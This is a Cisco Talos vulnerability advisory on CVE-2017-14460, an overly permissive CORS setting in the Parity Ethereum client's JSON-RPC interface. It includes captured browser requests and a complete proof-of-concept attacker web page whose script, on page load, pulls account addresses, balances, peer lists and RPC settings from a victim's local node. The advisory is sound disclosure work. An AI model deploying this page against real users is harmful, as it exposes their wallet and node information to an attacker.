Talos Vulnerability Report

TALOS-2017-0508

Parity Ethereum Client Overly Permissive Cross-domain Whitelist JSON-RPC vulnerability

January 9, 2018
CVE Number

CVE-2017-14460

Summary

An exploitable overly permissive cross-domain (CORS) whitelist vulnerability exists in JSON-RPC of Parity Ethereum client version 1.7.8. An automatically sent JSON object to JSON-RPC endpoint can trigger this vulnerability. A victim needs to visit malicious website to trigger this vulnerability.

Tested Versions

Parity 1.7.8

Product URLs

https://www.parity.io

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-942: Overly Permissive Cross-domain Whitelist

Details

Parity is a Rust ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of Parity is a JSON-RPC interface. Its turned on by default and exposes significant number of APIs due to an overly permissive cross-domain (CORS) whitelist, which by default is set to '*'. A user running Parity wallet visiting malicious websites is exposed to exploitation of this JSON-RPC daemon misconfiguration which can lead to: sensitive data leak of existing accounts, parity settings and network configuration but can also lead to modification of accounts and parity settings if certain APIs have been turned on. Let's see how the JSON-RPC daemon behaves for XHR request:

icewall@ubuntu: parity
2017-12-08 09:18:18  Starting Parity/v1.9.0-unstable-77ee23b-20171208/x86-linux-gnu/rustc1.22.1
2017-12-08 09:18:18  Keys path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/keys/Foundation
2017-12-08 09:18:18  DB path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/chains/ethereum/db/906a34e69aec8c0d
2017-12-08 09:18:18  Path to dapps /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/dapps
2017-12-08 09:18:18  State DB configuration: fast
2017-12-08 09:18:18  Operating mode: active
2017-12-08 09:18:18  Configured for Foundation using Ethash engine
2017-12-08 09:18:19  Updated conversion rate to Ξ1 = US$456.88 (260566460 wei/gas)
2017-12-08 09:18:24  Public node URL:      enode://d620920c7ca6566f37f805505752e0f909f3b7dce7f7e9de0d63c955800abc4235059e5d04e435abc652ff01a9590693a63bd1150237a99b30e
915a1d1da955b@192.168.217.128:30303
2017-12-08 09:18:49     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 µs
2017-12-08 09:19:19     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 µs
2017-12-08 09:19:49     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 µs

Next we visit a website at address: 192.168.217.155 which serves a page with a simple script:

<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>

<script>
$(document).ready(function(){
  $("#button").click(function(){
            $.ajax( {
        type: "POST",
        url : "http://localhost:8545",
        data : '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}',
        success : function (data ) {console.log(data)},
        contentType:"application/json; charset=utf-8",
        dataType : "json"
        } )
  });
});
</script>   

Successfully execution of the XHR should leak us information about existing accounts related with this node. Let's check how an automatically executed request by the browser would look like:

CORS preflight

REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://192.168.217.155
Connection: keep-alive

RESPONSE
Content-Type: application/json
Allow: OPTIONS, POST
Accept: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT

The server allows that kind of request from our orgin 'Access-Control-Allow-Origin: http://192.168.217.155'. So next the browser sends the final request:

REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.155/
Content-Type: application/json; charset=utf-8
Content-Length: 60
Origin: http://192.168.217.155
Connection: keep-alive  
{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}

RESPONSE
Content-Type: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT 
{"jsonrpc":"2.0","result":["0xf05d73d8a49eeb85d32c3465507dd71d50120037"],"id":1}

As you can see, we managed to steal information about existing accounts.

Exploit Proof-of-Concept

HOST: Attacker
cat /var/www/html/index.html

<html>
<head></head>
<body>
  <script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
  <script>
    String.prototype.format = function() {
      var formatted = this;
      for(arg in arguments) {
            formatted = formatted.replace("{" + arg + "}", arguments[arg]);
        }
        return formatted;
    };
    var accounts = new Array();
    function getBalance(data)
    {
        data["result"].forEach(function(account){
          callRPC("eth_getBalance","\"{0}\",\"latest\"".format(account),"Account balance is (wei)")
        });            
    }
    function callRPC(methodName,params,message)
    {
      $.ajax( {
        type: "POST",
        url : "http://localhost:8545",
        data : '{"jsonrpc":"2.0","method":"{0}","params":[{1}],"id":1}'.format(methodName,params),
        success : function (data ) {
          $("#stolenInfo").append( "</br> " + "{0} : {1}".format(message,JSON.stringify(data).substring(0,300)) )
          if(methodName == "eth_accounts")
          {
            getBalance(data)
          }

        },
        contentType:"application/json; charset=utf-8",
        dataType : "json"
        } )
    }

    $(document).ready(function(){
      callRPC("eth_accounts","","I see your accounts are");
      callRPC("parity_netPeers","","Connected to the following peers");
      callRPC("parity_rpcSettings","","RPC settings");
      callRPC("parity_versionInfo","","Parity release info");
    });
  </script>

  <div id="stolenInfo">
    Look what I know about you :
  </div>

</body>
</html>


Host: Parity user
Run parity and visit attacker website.
As a result you should be able to observe, leaked information about:
- existing accounts on this parity node with their balance  
- list of connected peers with that node
- rpc settings
- parity version info

Mitigation

Turn off/block possibility for CORS request to JSON-RPC interface.

Timeline

2017-12-22 - Vendor Disclosure
2018-01-02 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.